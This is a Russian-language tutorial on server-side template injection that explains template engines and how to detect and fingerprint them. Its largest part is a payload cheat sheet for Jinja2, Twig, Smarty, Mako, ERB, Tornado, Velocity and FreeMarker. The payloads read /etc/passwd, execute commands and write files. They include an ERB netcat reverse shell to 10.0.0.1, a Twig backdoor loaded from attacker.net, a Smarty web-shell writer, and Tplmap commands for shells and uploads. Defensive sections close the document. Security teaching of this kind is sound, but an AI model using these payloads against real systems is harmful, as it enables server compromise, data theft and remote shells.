Веб-шаблон — это HTML-документ, который служит оболочкой для динамических данных. Он содержит структуру страницы, в которую встраиваются данные из приложения.
Шаблонизатор — программное обеспечение, которое обрабатывает шаблоны и генерирует готовые HTML-страницы, подставляя в них данные. Это позволяет отделить бизнес-логику от представления.
Принцип работы шаблонизатора
Исходный код (Python/PHP/Java) + HTML-шаблон
↓
Шаблонизатор
↓
Готовая HTML-страница
Популярные шаблонизаторы
| Язык/Платформа | Шаблонизаторы |
|---|---|
| Python | Jinja2, Mako, Django Templates, Tornado |
| PHP | Twig, Smarty, Blade (Laravel), PHPTAL |
| Java | Velocity, FreeMarker, Thymeleaf |
| Ruby | ERB, Haml, Slim, Liquid |
| JavaScript | Handlebars, Pug (Jade), EJS, Mustache |
| Go | html/template, Pongo2 |
Пример использования (Jinja2)
from jinja2 import Template
# Шаблон с переменной
template = Template("Привет, {{name}}!")
# Рендеринг с данными
output = template.render(name="Александр")
print(output) # Привет, Александр!
Что такое SSTI
Server-Side Template Injection (SSTI) — уязвимость, возникающая когда пользовательский ввод напрямую встраивается в шаблон без должной валидации, что позволяет атакующему выполнить произвольный код на сервере.
Как возникает уязвимость
Небезопасный код:
# УЯЗВИМО!
template = Template("Привет, " + user_input + "!")
output = template.render()
Безопасный код:
# БЕЗОПАСНО
template = Template("Привет, {{name}}!")
output = template.render(name=user_input)
Последствия SSTI
- RCE (Remote Code Execution) — выполнение произвольных команд на сервере
- Чтение конфиденциальных файлов (/etc/passwd, конфиги, исходный код)
- Раскрытие переменных окружения (API ключи, пароли БД)
- SSRF — атаки на внутреннюю инфраструктуру
- Полная компрометация сервера
Контексты появления SSTI
1. Открытый текст (Plaintext Context)
# Уязвимо
template = Template(user_input)
Тест: {{7*7}} → результат 49
2. Контекст кода (Code Context)
# Уязвимо
greeting = "Привет, " + username
template = Template(greeting)
Тест:
username→Привет, user01username}}<script>alert(1)</script>→ XSS + возможно SSTI
Обнаружение SSTI
1. Полиглоты для тестирования
Используйте специальные строки для проверки различных шаблонизаторов:
${{<%[%'"}}%\
${7*7}
{{7*7}}
{{7*'7'}}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}
2. Методология обнаружения
Шаг 1: Попробуйте внедрить математическое выражение
Ввод: {{7*7}}
Ожидаемый результат при уязвимости: 49
Шаг 2: Проверьте различные синтаксисы
${7*7} # Mako, FreeMarker
{{7*7}} # Jinja2, Twig
<%= 7*7 %> # ERB
#{7*7} # Spring Framework
Шаг 3: Обратите внимание на ошибки Сообщения об ошибках часто раскрывают используемый шаблонизатор.
3. Признаки уязвимости
- Выполнение математических операций в ответе
- Специфические сообщения об ошибках шаблонизатора
- Изменение структуры HTML при внедрении специальных символов
- Наличие XSS может быть индикатором SSTI
Идентификация шаблонизатора
Дерево решений для идентификации
{{7*'7'}}
├── 49 → Twig
├── 7777777 → Jinja2
└── Ошибка/Нет вывода → Другой движок
${7*7}
├── 49 → Mako, FreeMarker, Velocity
└── Нет результата → Не использует ${} синтаксис
<%= 7*7 %>
└── 49 → ERB (Ruby)
Специфические тесты
| Payload | Jinja2 | Twig | Mako | Smarty |
|---|---|---|---|---|
{{7*'7'}} | 7777777 | 49 | 7777777 | Ошибка |
{{7*7}} | 49 | 49 | 49 | 49 |
{{'a'.toUpperCase()}} | Ошибка | Ошибка | A | Ошибка |
{{config}} | Объект config | Ошибка | Ошибка | Ошибка |
Эксплуатация SSTI
Методология
- Чтение — изучите документацию шаблонизатора
- Исследование — найдите доступные объекты и методы
- Атака — используйте найденные методы для достижения цели
Python (Jinja2) - Подробно
Базовые концепции
В Python все является объектом. Каждый объект имеет класс, от которого он унаследован:
"строка".__class__ # <class 'str'>
Цепочка эксплуатации
Шаг 1: Получение базового класса
{{''.__class__}}
# <class 'str'>
Шаг 2: Получение базовых классов (MRO - Method Resolution Order)
{{''.__class__.__mro__}}
# (<class 'str'>, <class 'object'>)
Шаг 3: Получение всех подклассов
{{''.__class__.__mro__[1].__subclasses__()}}
# Список всех доступных классов
Шаг 4: Поиск полезного класса
Найдите класс для работы с файлами или выполнения команд:
subprocess.Popenos._wrap_closewarnings.catch_warnings
Практические примеры
Чтение файла:
# Найдите индекс класса file или open
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
# Современный Python 3
{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
Выполнение команд:
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}
# Через os
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
PHP (Twig)
Чтение файла:
{{"/etc/passwd"|file_excerpt(1,30)}}
{{include("wp-config.php")}}
Выполнение команд:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
# Альтернативные методы
{{['id']|filter('system')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}
Java (Velocity, FreeMarker)
Velocity:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
FreeMarker:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }
<#assign classloader=object?api.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Payloads для популярных шаблонизаторов
Jinja2 (Python 2)
# Список классов
{{''.__class__.__mro__[2].__subclasses__()}}
# Чтение файлов
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/flag.txt").read()}}
{{get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read()}}
# Запись в файл
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test.txt','w').write('pwned')}}
# Выполнение команд
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}
Jinja2 (Python 3)
# Чтение файлов
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
# Выполнение команд
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}
# Через lipsum
{{lipsum.__globals__.os.popen('id').read()}}
# Через namespace
{{namespace.__init__.__globals__.os.popen('id').read()}}
Twig (PHP)
# Чтение файлов
{{"/etc/passwd"|file_excerpt(1,30)}}
{{include("wp-config.php")}}
{{"<?php system('cat /etc/passwd'); ?>"|escape}}
# Информация о системе
{{_self}}
{{dump(app)}}
# Выполнение команд
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['id']|map('system')|join}}
{{['cat /etc/passwd']|filter('system')}}
# Обход фильтрации
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['cat${IFS}/etc/passwd']|filter('system')}}
Smarty (PHP)
# Выполнение PHP кода
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
# Чтение файлов
{self::readFile('/etc/passwd')}
Mako (Python)
# Импорт модулей
${__import__('os').system('id')}
# Выполнение команд
<%
import os
x=os.popen('id').read()
%>
${x}
ERB (Ruby)
# Выполнение команд
<%= system("whoami") %>
<%= `whoami` %>
<%= File.open('/etc/passwd').read %>
# Reverse shell
<%= IO.popen('nc -e /bin/sh 10.0.0.1 4242').readlines() %>
Tornado (Python)
# Доступ к модулям
{{handler.settings}}
{{handler.application.settings}}
# Выполнение команд
{% import os %}{{os.popen("whoami").read()}}
{% import subprocess %}{{subprocess.check_output("id")}}
Инструменты автоматизации
Tplmap
Установка:
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt
Основное использование:
# Базовое сканирование
python tplmap.py -u "http://target.com/page?name=test"
# POST запрос
python tplmap.py -u "http://target.com/page" --data "name=test"
# С куками
python tplmap.py -u "http://target.com/page?name=test" -c "PHPSESSID=abc123"
# Получение shell
python tplmap.py -u "http://target.com/page?name=test" --os-shell
# Выполнение команды
python tplmap.py -u "http://target.com/page?name=test" --os-cmd "whoami"
# Чтение файла
python tplmap.py -u "http://target.com/page?name=test" --download /etc/passwd
# Загрузка файла
python tplmap.py -u "http://target.com/page?name=test" --upload /local/shell.php /var/www/html/shell.php
SSTImap
Альтернативный инструмент с поддержкой большего количества шаблонизаторов:
git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip3 install -r requirements.txt
# Использование
python3 sstimap.py -u "http://target.com/?name=test"
python3 sstimap.py -u "http://target.com/" --cookie "session=..." --forms
Burp Suite Extensions
- J2EEScan — для Java шаблонизаторов
- Backslash Powered Scanner — детектирование SSTI
- Active Scan++ — расширенное сканирование
Защита от SSTI
1. Никогда не используйте пользовательский ввод в шаблонах
❌ НЕБЕЗОПАСНО:
template = Template(user_input)
template = Template("Hello " + user_input)
✅ БЕЗОПАСНО:
template = Template("Hello {{name}}")
output = template.render(name=user_input)
2. Используйте песочницы (Sandboxing)
Jinja2:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("Hello {{name}}")
Twig:
$twig = new Twig_Environment($loader, array(
'sandbox' => true,
));
3. Валидация и экранирование
import re
# Whitelist допустимых символов
def sanitize_input(user_input):
if not re.match(r'^[a-zA-Z0-9\s]+$', user_input):
raise ValueError("Invalid input")
return user_input
safe_input = sanitize_input(user_input)
4. Ограничение функциональности
Отключите опасные функции и фильтры:
# Jinja2
from jinja2 import Environment
env = Environment()
env.globals.clear() # Очистить глобальные переменные
env.filters.clear() # Очистить фильтры
5. Content Security Policy (CSP)
Добавьте заголовки CSP для ограничения выполнения JavaScript:
Content-Security-Policy: default-src 'self'; script-src 'self'
6. Регулярные обновления
- Держите шаблонизаторы и фреймворки обновленными
- Следите за CVE и обновлениями безопасности
- Используйте dependabot или подобные инструменты
7. Логирование и мониторинг
import logging
# Логируйте подозрительные паттерны
suspicious_patterns = ['{{', '}}', '${', '{%', '<%']
for pattern in suspicious_patterns:
if pattern in user_input:
logging.warning(f"Suspicious input detected: {user_input}")
8. WAF правила
Настройте WAF для блокировки типичных SSTI паттернов:
# ModSecurity rules
SecRule ARGS "@rx (\{\{|\}\}|\$\{|<%|%>)" "id:1001,phase:2,block,msg:'SSTI Attempt'"
Дополнительные ресурсы
Практика
- PortSwigger Web Security Academy
- HackTheBox - поиск машин с SSTI
- TryHackMe - комнаты по SSTI
Чеклисты и шпаргалки
Документация шаблонизаторов
Заключение
SSTI — критическая уязвимость, которая может привести к полной компрометации сервера. Ключевые моменты:
- Никогда не вставляйте пользовательский ввод напрямую в шаблоны
- Используйте песочницы и валидацию
- Регулярно обновляйте зависимости
- Проводите аудит безопасности кода
- Применяйте принцип наименьших привилегий
При тестировании на проникновение помните:
- Всегда имейте письменное разрешение
- Документируйте все находки
- Предоставляйте рекомендации по устранению
- Не используйте автоматические инструменты без понимания их работы